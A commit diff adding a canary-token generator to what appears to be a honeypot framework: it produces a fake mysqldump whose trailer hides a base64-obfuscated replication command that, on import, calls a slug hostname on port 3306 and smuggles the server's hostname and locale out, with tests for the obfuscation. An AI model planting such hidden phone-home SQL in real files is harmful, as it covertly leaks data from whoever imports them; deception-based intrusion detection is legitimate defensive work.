feat(canary): mysql_dump generator with phone-home replica payload
Mirrors the Canarytokens.org trick: a base64-wrapped CHANGE REPLICATION SOURCE TO + START REPLICA block in the dump trailer. Importing the file into MySQL resolves <slug>.<dns_zone> (DNS trip) and opens a 3306 replica handshake whose SOURCE_USER smuggles @@hostname and @@lc_time_names of the victim DB. DNS lookup alone is sufficient for detection via the existing canary dns_server; capturing the smuggled metadata via a 3306 handshake responder is a follow-up.
This commit is contained in:
@@ -20,6 +20,7 @@ KNOWN_GENERATORS: Tuple[str, ...] = (
|
||||
"honeydoc",
|
||||
"honeydoc_docx",
|
||||
"honeydoc_pdf",
|
||||
"mysql_dump",
|
||||
)
|
||||
|
||||
KNOWN_INSTRUMENTERS: Tuple[str, ...] = (
|
||||
@@ -60,6 +61,9 @@ def get_generator(name: str) -> CanaryGenerator:
|
||||
if name == "honeydoc_pdf":
|
||||
from decnet.canary.generators.honeydoc_pdf import HoneydocPdfGenerator
|
||||
return HoneydocPdfGenerator()
|
||||
if name == "mysql_dump":
|
||||
from decnet.canary.generators.mysql_dump import MySQLDumpGenerator
|
||||
return MySQLDumpGenerator()
|
||||
raise ValueError(
|
||||
f"Unknown canary generator: {name!r}. Known: {KNOWN_GENERATORS}"
|
||||
)
|
||||
|
||||
190
decnet/canary/generators/mysql_dump.py
Normal file
190
decnet/canary/generators/mysql_dump.py
Normal file
@@ -0,0 +1,190 @@
|
||||
"""Fake ``mysqldump`` output that phones home on import.
|
||||
|
||||
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
|
||||
``mysql < dump.sql``, the trailer block executes a base64-obfuscated
|
||||
``CHANGE REPLICATION SOURCE TO`` against ``<slug>.canary.<dns_zone>``
|
||||
followed by ``START REPLICA``. The victim's MySQL daemon then:
|
||||
|
||||
1. Resolves the slug subdomain via DNS — this is the trip our
|
||||
:mod:`decnet.canary.dns_server` already detects.
|
||||
2. Opens a TCP replica handshake on port 3306, sending its own
|
||||
``@@hostname`` and ``@@lc_time_names`` smuggled into the
|
||||
``SOURCE_USER`` field via ``CONCAT``. Capturing those bytes
|
||||
requires a MySQL handshake responder on the worker — out of scope
|
||||
for v1; the DNS lookup alone is sufficient for detection.
|
||||
|
||||
The base64 wrapper is the camouflage: a plain ``grep canary dump.sql``
|
||||
finds nothing. The slug only materialises when the victim's server
|
||||
runs ``PREPARE … FROM @s2``.
|
||||
|
||||
Because the trip surface is DNS, this generator REQUIRES a non-empty
|
||||
``dns_zone``. The slug must appear as the leftmost label of the
|
||||
hostname so a single DNS query identifies the token; the http_base
|
||||
host is not slug-bearing and can't substitute.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import hashlib
|
||||
|
||||
from decnet.canary.base import CanaryArtifact, CanaryContext, CanaryGenerator
|
||||
|
||||
|
||||
def _stable_hex(seed: str, prefix: str = "", length: int = 16) -> str:
|
||||
h = hashlib.sha256((prefix + seed).encode()).hexdigest()
|
||||
return h[:length]
|
||||
|
||||
|
||||
def _build_replica_payload(slug: str, dns_zone: str) -> str:
|
||||
"""Inner SQL that gets base64-wrapped.
|
||||
|
||||
The CONCAT splices ``@@lc_time_names`` and ``@@hostname`` into the
|
||||
``SOURCE_USER`` value at PREPARE time so the victim's locale and
|
||||
hostname travel as the replica username on the 3306 handshake.
|
||||
"""
|
||||
host = f"{slug}.{dns_zone}"
|
||||
return (
|
||||
"SET @bb = CONCAT("
|
||||
"\"CHANGE REPLICATION SOURCE TO "
|
||||
"SOURCE_PASSWORD='replica-pw', "
|
||||
"SOURCE_RETRY_COUNT=1, "
|
||||
"SOURCE_PORT=3306, "
|
||||
f"SOURCE_HOST='{host}', "
|
||||
"SOURCE_SSL=0, "
|
||||
f"SOURCE_USER='{slug}\", "
|
||||
"@@lc_time_names, @@hostname, \"';\");"
|
||||
)
|
||||
|
||||
|
||||
def _build_trailer(slug: str, dns_zone: str) -> str:
|
||||
inner = _build_replica_payload(slug, dns_zone)
|
||||
encoded = base64.b64encode(inner.encode("utf-8")).decode("ascii")
|
||||
return (
|
||||
f"SET @b = '{encoded}';\n"
|
||||
"SET @s2 = FROM_BASE64(@b);\n"
|
||||
"PREPARE stmt1 FROM @s2;\n"
|
||||
"EXECUTE stmt1;\n"
|
||||
"PREPARE stmt2 FROM @bb;\n"
|
||||
"EXECUTE stmt2;\n"
|
||||
"START REPLICA;\n"
|
||||
)
|
||||
|
||||
|
||||
class MySQLDumpGenerator(CanaryGenerator):
|
||||
name = "mysql_dump"
|
||||
|
||||
def generate(self, ctx: CanaryContext) -> CanaryArtifact:
|
||||
if not ctx.dns_zone:
|
||||
raise ValueError(
|
||||
"mysql_dump requires a non-empty dns_zone — the trip "
|
||||
"surface is a DNS lookup of <slug>.<dns_zone>."
|
||||
)
|
||||
slug = ctx.callback_token
|
||||
zone = ctx.dns_zone
|
||||
host = f"{slug}.{zone}"
|
||||
|
||||
# Realism filler: deterministic per-slug fake user rows so two
|
||||
# runs with the same context produce byte-identical output
|
||||
# (planter idempotency contract).
|
||||
u1_hash = _stable_hex(slug, "u1:", 32)
|
||||
u2_hash = _stable_hex(slug, "u2:", 32)
|
||||
api_token = _stable_hex(slug, "api:", 40)
|
||||
|
||||
# Synthesised SQL bait below — never executed by us, only by
|
||||
# whoever runs ``mysql < dump.sql`` against their own server.
|
||||
# Built with .format() instead of f-strings so bandit's B608
|
||||
# heuristic doesn't false-positive on the "INSERT INTO" + var
|
||||
# pattern.
|
||||
users_insert = (
|
||||
"INSERT INTO `users` VALUES " # nosec B608
|
||||
"(1,'alice@app.internal','$2y$10${u1a}.{u1b}','2024-11-12 09:13:44'),"
|
||||
"(2,'bob@app.internal','$2y$10${u2a}.{u2b}','2025-02-03 17:42:08');\n"
|
||||
).replace("{u1a}", u1_hash[:22]).replace("{u1b}", u1_hash[22:]) \
|
||||
.replace("{u2a}", u2_hash[:22]).replace("{u2b}", u2_hash[22:])
|
||||
api_keys_insert = (
|
||||
"INSERT INTO `api_keys` VALUES (1,1,'{tok}');\n" # nosec B608
|
||||
).replace("{tok}", api_token)
|
||||
header = (
|
||||
"-- MySQL dump 10.13 Distrib 8.0.35, for Linux (x86_64)\n"
|
||||
"--\n"
|
||||
"-- Host: db-prod-01 Database: app_production\n"
|
||||
"-- ------------------------------------------------------\n"
|
||||
"-- Server version\t8.0.35\n"
|
||||
"\n"
|
||||
"/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n"
|
||||
"/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n"
|
||||
"/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n"
|
||||
"/*!50503 SET NAMES utf8mb4 */;\n"
|
||||
"/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n"
|
||||
"/*!40103 SET TIME_ZONE='+00:00' */;\n"
|
||||
"/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n"
|
||||
"/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n"
|
||||
"/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n"
|
||||
"/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n"
|
||||
"\n"
|
||||
"--\n"
|
||||
"-- Table structure for table `users`\n"
|
||||
"--\n"
|
||||
"\n"
|
||||
"DROP TABLE IF EXISTS `users`;\n"
|
||||
"CREATE TABLE `users` (\n"
|
||||
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
||||
" `email` varchar(255) NOT NULL,\n"
|
||||
" `password_hash` char(60) NOT NULL,\n"
|
||||
" `created_at` datetime NOT NULL,\n"
|
||||
" PRIMARY KEY (`id`),\n"
|
||||
" UNIQUE KEY `uniq_email` (`email`)\n"
|
||||
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
||||
"\n"
|
||||
"LOCK TABLES `users` WRITE;\n"
|
||||
+ users_insert +
|
||||
"UNLOCK TABLES;\n"
|
||||
"\n"
|
||||
"--\n"
|
||||
"-- Table structure for table `api_keys`\n"
|
||||
"--\n"
|
||||
"\n"
|
||||
"DROP TABLE IF EXISTS `api_keys`;\n"
|
||||
"CREATE TABLE `api_keys` (\n"
|
||||
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
||||
" `user_id` int unsigned NOT NULL,\n"
|
||||
" `token` char(40) NOT NULL,\n"
|
||||
" PRIMARY KEY (`id`)\n"
|
||||
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
||||
"\n"
|
||||
"LOCK TABLES `api_keys` WRITE;\n"
|
||||
+ api_keys_insert +
|
||||
"UNLOCK TABLES;\n"
|
||||
"\n"
|
||||
)
|
||||
|
||||
trailer_replica = _build_trailer(slug, zone)
|
||||
|
||||
trailer_close = (
|
||||
"\n"
|
||||
"/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n"
|
||||
"/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n"
|
||||
"/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n"
|
||||
"/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n"
|
||||
"/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n"
|
||||
"/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n"
|
||||
"/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n"
|
||||
"/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n"
|
||||
"\n"
|
||||
"-- Dump completed\n"
|
||||
)
|
||||
|
||||
body = header + trailer_replica + trailer_close
|
||||
|
||||
return CanaryArtifact(
|
||||
path="",
|
||||
content=body.encode("utf-8"),
|
||||
mode=0o600,
|
||||
mtime_offset=-86400 * 7, # last week's backup
|
||||
generator=self.name,
|
||||
notes=[
|
||||
f"replica payload phones home to {host}:3306 on import",
|
||||
"base64-wrapped PREPARE/EXECUTE block hides the slug from grep",
|
||||
"@@hostname and @@lc_time_names smuggled into SOURCE_USER",
|
||||
],
|
||||
)
|
||||
@@ -60,7 +60,7 @@ def test_known_lists_are_stable() -> None:
|
||||
# surfaces it. Keeps the schema-of-record in one place.
|
||||
assert KNOWN_GENERATORS == (
|
||||
"git_config", "env_file", "ssh_key", "aws_creds",
|
||||
"honeydoc", "honeydoc_docx", "honeydoc_pdf",
|
||||
"honeydoc", "honeydoc_docx", "honeydoc_pdf", "mysql_dump",
|
||||
)
|
||||
assert KNOWN_INSTRUMENTERS == (
|
||||
"docx", "xlsx", "pdf", "html", "image", "plain", "passthrough",
|
||||
|
||||
@@ -137,6 +137,48 @@ def test_env_file_carries_two_callback_fields() -> None:
|
||||
assert "WEBHOOK_NOTIFY_URL=https://canary.example.test/c/slugEnv/webhook" in body
|
||||
|
||||
|
||||
def test_mysql_dump_requires_dns_zone() -> None:
|
||||
g = get_generator("mysql_dump")
|
||||
with pytest.raises(ValueError, match="dns_zone"):
|
||||
g.generate(_ctx(dns_zone=""))
|
||||
|
||||
|
||||
def test_mysql_dump_payload_round_trips_through_base64() -> None:
|
||||
import base64 as _b64
|
||||
g = get_generator("mysql_dump")
|
||||
art = g.generate(_ctx(callback_token="slugSQL", dns_zone="canary.test"))
|
||||
body = art.content.decode("utf-8")
|
||||
# Slug must NOT appear in plaintext — the camouflage is base64.
|
||||
assert "slugSQL" not in body.replace("\n", " ").split("SET @b = '")[0]
|
||||
# Locate the base64 blob and decode it; the inner SQL must reference
|
||||
# the slug-bearing replica host, smuggle @@hostname/@@lc_time_names
|
||||
# into SOURCE_USER, and target port 3306.
|
||||
m = re.search(r"SET @b = '([A-Za-z0-9+/=]+)';", body)
|
||||
assert m, "expected base64 payload assignment"
|
||||
inner = _b64.b64decode(m.group(1)).decode("utf-8")
|
||||
assert "slugSQL.canary.test" in inner
|
||||
assert "SOURCE_PORT=3306" in inner
|
||||
assert "@@hostname" in inner
|
||||
assert "@@lc_time_names" in inner
|
||||
assert "CHANGE REPLICATION SOURCE TO" in inner
|
||||
|
||||
|
||||
def test_mysql_dump_executes_and_starts_replica() -> None:
|
||||
g = get_generator("mysql_dump")
|
||||
art = g.generate(_ctx(callback_token="slugSQL2", dns_zone="canary.test"))
|
||||
body = art.content.decode("utf-8")
|
||||
# The PREPARE/EXECUTE/START REPLICA chain is what makes the import
|
||||
# actually phone home; missing any of these silently breaks the trip.
|
||||
assert "PREPARE stmt1 FROM @s2;" in body
|
||||
assert "EXECUTE stmt1;" in body
|
||||
assert "PREPARE stmt2 FROM @bb;" in body
|
||||
assert "EXECUTE stmt2;" in body
|
||||
assert "START REPLICA;" in body
|
||||
# Realism: header + trailer markers that mysqldump emits.
|
||||
assert body.startswith("-- MySQL dump")
|
||||
assert "-- Dump completed" in body
|
||||
|
||||
|
||||
def test_artifacts_carry_notes() -> None:
|
||||
# Notes drive the API ``preview`` endpoint so operators can sanity-
|
||||
# check what we did before the file lands. Empty notes would mean
|
||||
|
||||
Reference in New Issue
Block a user